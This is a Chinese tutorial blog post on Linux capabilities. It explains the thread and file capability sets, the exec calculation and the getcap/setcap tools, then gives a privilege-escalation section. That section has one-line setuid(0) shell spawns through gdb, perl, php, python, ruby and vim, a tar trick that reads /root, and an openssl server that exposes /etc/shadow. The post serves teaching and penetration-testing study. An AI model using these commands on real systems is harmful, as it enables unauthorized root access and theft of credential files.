Linux提权之:利用capabilities提权

1 背景

我们运行SUID的命令时,通常只是需要使用一小部分特权,但是使用SUID,却可以拥有root用户的全部权限。所以,一旦SUID的文件存在漏洞,便可能被利用,以root身份执行其他操作。

SUID的问题,主要在于权限控制太粗糙。为了对root身份进行更加精细的控制,Linux增加了另一种机制,即capabilities。

2 Capabilities机制

Capabilities机制,是在Linux内核2.2之后引入的。它将root用户的权限细分为不同的领域,可以分别启用或禁用。从而,在实际进行特权操作时,如果euid不是root,便会检查是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。

例如,下表列出了一些常见的特权操作及其对应的capability:

改变文件的所属者(chown()) CAP_CHOWN
向进程发送信号(kill(), signal()) CAP_KILL
改变进程的uid(setuid(), setreuid(), setresuid()等) CAP_SETUID
trace进程(ptrace()) CAP_SYS_PTRACE
设置系统时间(settimeofday(), stime()等) CAP_SYS_TIME

Capabilities是细分到线程的,即每个线程可以有自己的capabilities。而完整的capabilities实现,除了对线程的capabilities具有以下相关功能:

  • 进行特权操作时,检查该线程是否拥有该操作的capability
  • 提供系统调用,用于获取或修改线程的capability

还应该包含对于文件的capabilities的支持,即:

  • 文件系统支持文件附加属性,使得可执行文件具有一定的capabilities,从而在运行时确定其capabilities

  • 文件cap_setuid的capabilities和文件的suid标志位之间是没有关系的:
  • 设置了cap_setuid的capability的文件并没有设置suid。
  • 设置了suid的程序也不拥有cap_setuid的capability。

对于文件capabilities的支持,直到内核2.6.24之后才完成。

3 线程与文件的capabilities

3.1 线程的capabilities

每一个线程,具有3个capabilities的集合,每个集合中,可以包含零个或多个capabilities。

  • Permitted

    这个集合定义了线程所能够拥有的特权的上限。换句话说,如果某个capability不在Permitted集合中,那么该线程便不能进行这个capability所对应的特权操作。Permitted集合是Inheritable和Effective集合的的超集。

  • Inheritable

    • 当执行exec()系运行其他命令时,能够被新命令继承的capabilities,被包含在Inheritable集合中。
  • Effective

    • 内核检查该线程是否可以进行特权操作时,检查的对象便是Effective集合。如之前所说,Permitted集合定义了上限。线程可以删除Effective集合中的某capability,随后在需要时,再从Permitted集合中恢复该capability,以此达到临时禁用capability的功能。

(Linux 4.3之后,增加了一种集合Ambient。详情可见相关manual)


3.2 文件的capabilities

文件的capabilities,是保存在文件的扩展属性中。修改这些扩展属性,需要具有CAP_SETFCAP的capability。文件与线程的capabilities,共同决定了通过exec运行该文件后的capabilities。

文件的capabilities功能,需要文件系统的支持。如果文件系统使用了nosuid选项进行挂载,那么文件的capabilities将被忽略。

类似于线程的capabilities,文件的capabilities也包含了3个集合:

  • Permitted

    • 这个集合中包含的capabilities,在文件被执行时,被加入其Permitted集合。
  • Inheritable
    • 这个集合与线程的Inheritable集合的交集,是执行完exec后实际继承的capabilities。
  • Effective
    • 这仅仅是一个bit。如果设置开启,那么在运行exec后,Permitted集合中新增的capabilities会自动出现在Effective集合中;否则不会出现在Effective集合中。对于一些旧的可执行文件,由于其不会调用capabilities相关函数设置自身的Effective集合,所以可以将该可执行文件的Effective bit开启,从而将Permitted集合中的capabilities自动添加到Effective集合中。

3.3 运行exec后capabilities的变化

上面介绍了线程和文件的capabilities,可能会觉得有些抽象难懂。下面将使用具体的计算公式,来说明执行exec后capabilities是如何确定的。

我们使用P代表执行exec前的capabilities,P’代表执行exec后的capabilities,F代表exec执行的文件的capabilities。那么:

P’(Permitted) = (P(Inheritable) & F(Inheritable)) | (F(Permitted) & cap_bset)

P’(Effective) = F(Effective) ? P’(Permitted) : 0

P’(Inheritable) = P(Inheritable)

其中的cap_bset是capability bounding set。通过与文件的Permitted集合计算交集,可进一步限制某些capabilities的获取,从而降低了风险。

而正如介绍文件的Effective bit时所说,文件可以将其Effective bit关闭。由此,在通过exec执行该文件后,实际的Effective集合为空集。随后,在需要进行特权操作时,可再将Permitted集合中的capabilities加入Effective集合中。

4 Linux Capabilities管理

4.1 Linux系统管理Capabilities的工具

Linux系统中主要提供了两种工具来管理capabilities:libcap和libcap-ng。

  • libcap提供了getcap和setcap两个命令来分别查看和设置文件的capabilities,同时还提供了capsh来查看当前shell进程的capabilities。
  • libcap-ng更易于使用,使用同一个命令filecap来查看和设置capabilities。

4.2 获取capabilities

系统调用capget(2)capset(2),可被用于获取和设置线程自身的capabilities。此外,也可以使用libcap中提供的接口cap_get_proc(3)cap_set_proc(3)。当然,Permitted集合默认是不能增加新的capabilities的,除非CAP_SETPCAP在Effective集合中。

  • 查看线程的capabilities

    • 使用包libcap中的命令getpcaps <PID>

      还可以通过/proc/<PID>/task/<TID>/status文件,三种集合分别对应于CapPrm, CapInh和CapEff。但这种的显示结果是数值,不适合人类阅读。

  • 查看和设置文件的capabilities

    • 类似的,如果要,可以使用命令getcap或者setcap

4.3 设置capabilities

以wireshark为例

  1. 安装wireshark软件后,默认情况下,普通用户无法对网卡实施抓包操作。这是因为普通用户不具备相应的权限。

  2. /usr/bin/dumpcap文件授予抓包相关的capabilities

    ┌──(kali㉿kali)-[~]
    └─$ sudo -i
    ┌──(rootkali)-[~]
    └─# getcap /usr/bin/dumpcap
    ┌──(rootkali)-[~]
    └─# setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
    ┌──(rootkali)-[~]
    └─# getcap /usr/bin/dumpcap
    /usr/bin/dumpcap cap_net_admin,cap_net_raw=eip
  3. 命令执行后重新启动wireshark,就可以抓包了。

  4. 删除文件的capabilities

    setcap -r /usr/bin/dumpcap

ping为例

使用getcap命令,我们可以看到ping文件的capabilities:

# getcap /bin/ping
/bin/ping = cap_net_raw+ep
  • 即该文件的capabilities,设置了Effective bit,而且Permitted集合中包含了CAP_NEW_RAW,从而可以发送raw packet。

5 利用Capability实现权限提升

5.1 查找设置了capabilities可执行文件

getcap -r / 2>/dev/null

5.2 gdb

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

5.3 perl

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

5.4 php

php -r "posix_setuid(0); system('/bin/sh');"

5.5 python

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

5.6 ruby

ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

5.7 rvim

rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

5.8 vim

vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

5.9 tar

  1. tar权限

    norris@sirrom:~$ /sbin/getcap -r / 2>/dev/null
    /usr/bin/tar = cap_dac_read_search+ep
    • cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查,利用此特性我们可以读取系统中的敏感信息。
  2. 绕过权限检查即可成功创建压缩文件

    norris@sirrom:~$ tar -vcf root.tar /root
    tar: Removing leading `/' from member names
    /root/
    /root/root.txt
    /root/.bashrc
    /root/.gnupg/
    /root/.gnupg/private-keys-v1.d/
    /root/.bash_history
    /root/.cache/
    /root/.local/
    /root/.local/share/
    /root/.local/share/nano/
    /root/.profile
  3. 解压缩

    norris@sirrom:~$ ls -la root.tar
    -rw-r--r-- 1 norris norris 10240 Mar 19 08:44 root.tar
    norris@sirrom:~$ tar -xf root.tar
    norris@sirrom:~$ ls -la /root
    total 36
    drwx------ 5 norris norris 4096 Oct 11 2019 .
    drwxr-xr-x 6 norris norris 4096 Mar 19 08:45 ..
    -r-------- 1 norris norris 672 Oct 11 2019 .bash_history
    -rw-r--r-- 1 norris norris 570 Jan 31 2010 .bashrc
    drwx------ 2 norris norris 4096 Oct 11 2019 .cache
    drwx------ 3 norris norris 4096 Oct 11 2019 .gnupg
    drwxr-xr-x 3 norris norris 4096 Oct 11 2019 .local
    -rw-r--r-- 1 norris norris 148 Aug 17 2015 .profile
    -rw------- 1 norris norris 33 Oct 11 2019 root.txt
  4. 读取root.txt文件

    norris@sirrom:~$ cat /root/root.txt
    8fc9376d961670ca10be270d52eda423

5.10 openssl

使用openssl读取/etc/shadow文件。

setcap =ep /usr/bin/openssl

# 使用openssl生成证书
┌──(kali㉿kali)-[/]
└─$ openssl req -x509 -newkey rsa:2048 -keyout /tmp/key.pem -out /tmp/cert.pem -days 365 -nodes # 进入系统根目录下
┌──(kali㉿kali)-[/]
└─$ cd / # 启动web服务器,监听8080端口
┌──(kali㉿kali)-[/]
└─$ openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 8080 -HTTP # 访问本机的web服务,读取/etc/shadow文件
┌──(kali㉿kali)-[~]
└─$ curl --http0.9 -k "https://127.0.0.1:8080/etc/shadow"
root:!:18681:0:99999:7:::
daemon:*:18681:0:99999:7:::
bin:*:18681:0:99999:7:::
sys:*:18681:0:99999:7:::
sync:*:18681:0:99999:7:::

2 参考链接

Linux的capabilities机制 - 记事本 (rk700.github.io)

c linux 获取cpuid_Linux系统利用可执行文件的Capability实现权限提升_Ningling Pan的博客-CSDN博客

Linux提权之:利用capabilities提权的更多相关文章

  1. 小白日记24:kali渗透测试之提权(四)--利用漏洞提权

    利用漏洞提权实例 前提:已渗透进一个XP或2003系统 一.实验目标漏洞:Ms11-080 补丁:Kb2592799 漏洞信息:https://technet.microsoft.com/librar ...

  2. Linux提权之利用 /etc/passwd 文件

    当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作. 接下来我们的提权是利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去. 首先 ...

  3. 利用phpMyAdmin提权

    利用phpMyAdmin提权 发表于 2016-03-31   |   分类于 phpMyAdmin  |   暂无评论  |   9次阅读 爆路径 /phpmyadmin/libraries/lec ...

  4. Linux的desktop文件正常编写赋权,仍无法打开解决办法

    Linux的desktop文件正常编写赋权,仍无法打开解决办法 如果你像我一样遇到了这个问题, 明明都没有问题, desktop文件不显示图标, 双击打开是文本编辑器, 同时也有执行权限 打开却是这样 ...

  5. Linux堆溢出漏洞利用之unlink

    Linux堆溢出漏洞利用之unlink 作者:走位@阿里聚安全 0 前言 之前我们深入了解了glibc malloc的运行机制(文章链接请看文末▼),下面就让我们开始真正的堆溢出漏洞利用学习吧.说实话 ...

  6. c/c++ linux epoll系列3 利用epoll_wait设置timeout时间长度

    linux epoll系列3 利用epoll_wait设置timeout时间长度 epoll_wait函数的第四个参数可以设置,epoll_wait函数的等待时间(timeout时间长度). 例子1, ...

  7. c/c++ linux epoll系列2 利用epoll_wait查看是否可以送信

    linux epoll系列2 利用epoll_wait查看是否可以送信 write函数本来是非阻塞函数,但是当缓存区被写满后,再往缓存区里写的时候,就必须等待缓存区再次变成可写,所以这是write就变 ...

  8. HDU 1569 - 方格取数(2) - [最大点权独立集与最小点权覆盖集]

    嗯,这是关于最大点权独立集与最小点权覆盖集的姿势,很简单对吧,然后开始看题. 题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1569 Time Limi ...

  9. poj3565 Ants km算法求最小权完美匹配,浮点权值

    /** 题目:poj3565 Ants km算法求最小权完美匹配,浮点权值. 链接:http://poj.org/problem?id=3565 题意:给定n个白点的二维坐标,n个黑点的二维坐标. 求 ...

  10. Linux利用udev提权

    友老催我写个webshell+udev localroot的文章.这周末有点空闲时间,捣鼓了一下.公开的udev exploit有两个.一个是kcope写的SHELL版本,一个是jon写的C版本. s ...

随机推荐

  1. JavaScript合集(流程控制语句)

    流程控制 条件判断语句 条件分支语句 循环语句 条件判断语句 if语句 语法: if(条件表达式){ 语句 } ------- if(a > 10){ alert('a比10大') } if-e ...

  2. MySQL锁,锁的到底是什么?

    MySQL锁系列文章已经鸽了挺久了,最近赶紧挤了挤时间,和大家聊一聊MySQL的锁. 只要学计算机,「锁」永远是一个绕不过的话题.MySQL锁也是一样. 一句话解释MySQL锁: MySQL锁是解决资 ...

  3. 【RocketMQ】主从同步实现原理

    主从同步的实现逻辑主要在HAService中,在DefaultMessageStore的构造函数中,对HAService进行了实例化,并在start方法中,启动了HAService: public c ...

  4. 基础css样式

    目录 css层叠样式表 css选择器 伪类选择器 选择器生效优先级 css字体颜色背景 设置宽高 边框 display属性 div盒子模型 float漂浮 溢出overflow 定位(position ...

  5. express 为所有路由添加 405 method not allowd 响应

    背景知识 HTTP Status Code 405 405 Method not allowed The resource was requested using a method that is n ...

  6. 你的项目使用Optional了吗?

    1.基本概念 java.util.Optional<T>类本质上就是一个容器,该容器的数值可以是空代表一个值不存在,也可以是非空代表一个值存在. 2.获取对象 2.1 相关方法 2.2 案 ...

  7. jmeter Foreach 控制器与json提取器/正则表达式

    适用场景:对某些业务数据依次操作 如:删除某个用户下的所有人员数据,无批量删除接口时,只能循环调用删除人员接口,直到删除完成 返回数据格式: 1.  使用json提取器或正则表达式提取业务数据(jso ...

  8. 3、swagger调试

    Swagger: 1.将项目中所有的接口展现在页面上,这样后端程序员就不需要专门为前端使用者编写专门的接口文档: 2.当接口更新之后,只需要修改代码中的Swagger描述就可以实时生成新的接口文档了, ...

  9. [LeetCode]226.翻转二叉树——递归遍历交换孩子

    题目   翻转一棵二叉树. 4 / \ 2 7 / \ / \ 1 3 6 9 //转换为: 4 / \ 7 2 / \ / \ 9 6 3 1 代码 TreeNode* invertTree(Tre ...

  10. SwiftUI(二)

    也许很多人看完一会有一个疑问,为什么UIHostingController我这里报错呢     看到这里大家心中的疑问也就解开了 接下来给大家说下@State的作用 通过@State swiftUI实 ...